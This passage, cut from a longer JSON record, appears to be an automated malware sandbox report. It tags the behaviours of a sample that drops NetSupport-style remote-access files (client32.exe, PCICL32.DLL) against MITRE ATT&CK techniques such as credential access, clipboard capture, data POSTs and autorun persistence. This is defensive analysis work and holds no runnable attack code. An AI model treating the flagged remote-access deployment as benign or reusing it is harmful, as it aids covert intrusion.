\"+ncalrpc:[OLE2B8557351E9506517B1E6DE1627C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE3D05D2201E08CF16A9A8B3E3ACBC]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003964.00000000.88610.B8100000.00000004.mdmp, 00000000-00003964.00000001.88837.B8100000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00000760.00000001.92551.05EE0000.00000004.mdmp, 00000000-00000760.00000002.94470.05EE0000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00000760.00000002.94470.713F0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00003964.00000000.88610.B8100000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003964.00000000.88610.EE182000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: htctl32.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: Volumeid.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: Desktops.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: Volumeid64.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: remcmdstub.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: PCICL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: TCCTL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \" Microsoft\"\n \"Volumeid.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"Desktops.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"client32.exe\" was detected as \"Borland Delphi 3.0 (???)\"\n \"vcruntime140.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"remcmdstub.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"pcicapi.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"PCICL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"TCCTL32.DLL\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"client32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"client32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"client32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"D\")\n \"client32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"F\")\n \"client32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"5\")\n \"client32.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"2\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"8099e85c4aa05f50ff299a130dc26a67b45aed519668e8b1ee1692e0034196c2.bin\" has section name .rsrc with entropy \"7.192789288306516\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/26 Antivirus vendors marked sample as malicious (3% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$80","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"client32.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\universal-deployer\\20260223_212841\\archive\\client32.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$81","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"699cc5932158c4cfcf05c159"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"